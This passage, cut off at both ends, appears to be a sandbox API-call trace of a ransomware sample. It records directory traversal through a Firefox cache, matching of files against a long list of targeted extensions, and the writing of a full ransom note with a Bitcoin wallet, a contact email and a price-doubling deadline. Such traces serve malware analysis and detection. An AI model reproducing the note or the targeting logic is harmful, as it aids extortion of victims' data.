ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0", cAlternateFileName="")) returned 1 [0085.568] lstrcmpA (lpString1=".", lpString2="0") returned -1 [0085.568] lstrcmpA (lpString1="..", lpString2="0") returned -1 [0085.568] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\*.*") returned="*.*" [0085.568] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\", lpString2="0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0" [0085.568] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0") returned 93 [0085.568] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502758 [0085.569] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.569] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb64f2970, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x81eff750, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x81eff750, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.569] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.570] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.570] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="98", cAlternateFileName="")) returned 1 [0085.570] lstrcmpA (lpString1=".", lpString2="98") returned -1 [0085.570] lstrcmpA (lpString1="..", lpString2="98") returned -1 [0085.570] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\*.*") returned="*.*" [0085.570] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\", lpString2="98" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98" [0085.570] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98") returned 96 [0085.570] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*.*", lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502798 [0085.570] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0085.570] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8c39470, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.571] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0085.571] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0085.571] FindNextFileA (in: hFindFile=0x502798, lpFindFileData=0x18efc8 | out: lpFindFileData=0x18efc8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb8c39470, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb8c39470, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb8cd19f0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xb67e, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="B60F3d01", cAlternateFileName="")) returned 1 [0085.571] PeekMessageA (in: lpMsg=0x18efa4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18efa4) returned 0 [0085.571] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="B60F3d01") returned 1 [0085.571] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="B60F3d01") returned 1 [0085.571] lstrcmpiA (lpString1="", lpString2="B60F3d01") returned -1 [0085.571] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\*.*") returned="*.*" [0085.571] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\" [0085.571] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\") returned="" [0085.571] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\HOW TO DECRYPT FILES.txt" [0085.571] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\how to decrypt files.txt")) returned 0xffffffff [0085.571] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\silmbjec.default\\cache\\0\\98\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa8 [0085.572] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0085.572] WriteFile (in: hFile=0xa8, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0085.574] SetFileTime (hFile=0xa8, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0085.574] CloseHandle (hObject=0xa8) returned 1 [0085.575] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\", lpString2="B60F3d01" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01" [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.ems") returned 0 [0085.575] lstrlenA (lpString="*.ems") returned 5 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.db") returned 0 [0085.575] lstrlenA (lpString="*.db") returned 4 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.dbf") returned 0 [0085.575] lstrlenA (lpString="*.dbf") returned 5 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.myox") returned 0 [0085.575] lstrlenA (lpString="*.myox") returned 6 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.myo") returned 0 [0085.575] lstrlenA (lpString="*.myo") returned 5 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qbw") returned 0 [0085.575] lstrlenA (lpString="*.qbw") returned 5 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qbb") returned 0 [0085.575] lstrlenA (lpString="*.qbb") returned 5 [0085.575] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qbm") returned 0 [0085.576] lstrlenA (lpString="*.qbm") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qbo") returned 0 [0085.576] lstrlenA (lpString="*.qbo") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qbx") returned 0 [0085.576] lstrlenA (lpString="*.qbx") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qba") returned 0 [0085.576] lstrlenA (lpString="*.qba") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qby") returned 0 [0085.576] lstrlenA (lpString="*.qby") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qbj") returned 0 [0085.576] lstrlenA (lpString="*.qbj") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.ofx") returned 0 [0085.576] lstrlenA (lpString="*.ofx") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.qif") returned 0 [0085.576] lstrlenA (lpString="*.qif") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mye") returned 0 [0085.576] lstrlenA (lpString="*.mye") returned 5 [0085.576] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mbox") returned 0 [0085.577] lstrlenA (lpString="*.mbox") returned 6 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.eml") returned 0 [0085.577] lstrlenA (lpString="*.eml") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.pst") returned 0 [0085.577] lstrlenA (lpString="*.pst") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.ost") returned 0 [0085.577] lstrlenA (lpString="*.ost") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.idx") returned 0 [0085.577] lstrlenA (lpString="*.idx") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.dbx") returned 0 [0085.577] lstrlenA (lpString="*.dbx") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.sql") returned 0 [0085.577] lstrlenA (lpString="*.sql") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mdb") returned 0 [0085.577] lstrlenA (lpString="*.mdb") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.fdb") returned 0 [0085.577] lstrlenA (lpString="*.fdb") returned 5 [0085.577] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.wab") returned 0 [0085.578] lstrlenA (lpString="*.wab") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.dat") returned 0 [0085.578] lstrlenA (lpString="*.dat") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.txt") returned 0 [0085.578] lstrlenA (lpString="*.txt") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.jpeg") returned 0 [0085.578] lstrlenA (lpString="*.jpeg") returned 6 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.jpg") returned 0 [0085.578] lstrlenA (lpString="*.jpg") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.png") returned 0 [0085.578] lstrlenA (lpString="*.png") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.php") returned 0 [0085.578] lstrlenA (lpString="*.php") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.cs") returned 0 [0085.578] lstrlenA (lpString="*.cs") returned 4 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.cpp") returned 0 [0085.578] lstrlenA (lpString="*.cpp") returned 5 [0085.578] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.rar") returned 0 [0085.579] lstrlenA (lpString="*.rar") returned 5 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.zip") returned 0 [0085.579] lstrlenA (lpString="*.zip") returned 5 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.html") returned 0 [0085.579] lstrlenA (lpString="*.html") returned 6 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.htm") returned 0 [0085.579] lstrlenA (lpString="*.htm") returned 5 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.xlsx") returned 0 [0085.579] lstrlenA (lpString="*.xlsx") returned 6 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.xls") returned 0 [0085.579] lstrlenA (lpString="*.xls") returned 5 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mp4") returned 0 [0085.579] lstrlenA (lpString="*.mp4") returned 5 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.ppt") returned 0 [0085.579] lstrlenA (lpString="*.ppt") returned 5 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.pptx") returned 0 [0085.579] lstrlenA (lpString="*.pptx") returned 6 [0085.579] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.doc") returned 0 [0085.579] lstrlenA (lpString="*.doc") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.dot") returned 0 [0085.580] lstrlenA (lpString="*.dot") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.docx") returned 0 [0085.580] lstrlenA (lpString="*.docx") returned 6 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.7z") returned 0 [0085.580] lstrlenA (lpString="*.7z") returned 4 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.tar") returned 0 [0085.580] lstrlenA (lpString="*.tar") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.bz2") returned 0 [0085.580] lstrlenA (lpString="*.bz2") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.gz") returned 0 [0085.580] lstrlenA (lpString="*.gz") returned 4 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.mkv") returned 0 [0085.580] lstrlenA (lpString="*.mkv") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.eml") returned 0 [0085.580] lstrlenA (lpString="*.eml") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.msg") returned 0 [0085.580] lstrlenA (lpString="*.msg") returned 5 [0085.580] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.edb") returned 0 [0085.580] lstrlenA (lpString="*.edb") returned 5 [0085.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.accdb") returned 0 [0085.581] lstrlenA (lpString="*.accdb") returned 7 [0085.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.odb") returned 0 [0085.581] lstrlenA (lpString="*.odb") returned 5 [0085.581] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.java") returned 0 [0085.581] lstrlenA (lpString="*.java") returned 6 [0085.583] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.asm") returned 0 [0085.586] lstrlenA (lpString="*.asm") returned 5 [0085.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.pfx") returned 0 [0085.586] lstrlenA (lpString="*.pfx") returned 5 [0085.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.pem") returned 0 [0085.586] lstrlenA (lpString="*.pem") returned 5 [0085.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\Cache\\0\\98\\B60F3d01", pszSpec="*.p12") returned 0 [0085.586] lstrlenA (lpString="*.p12") returned 5 [0085.586] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS 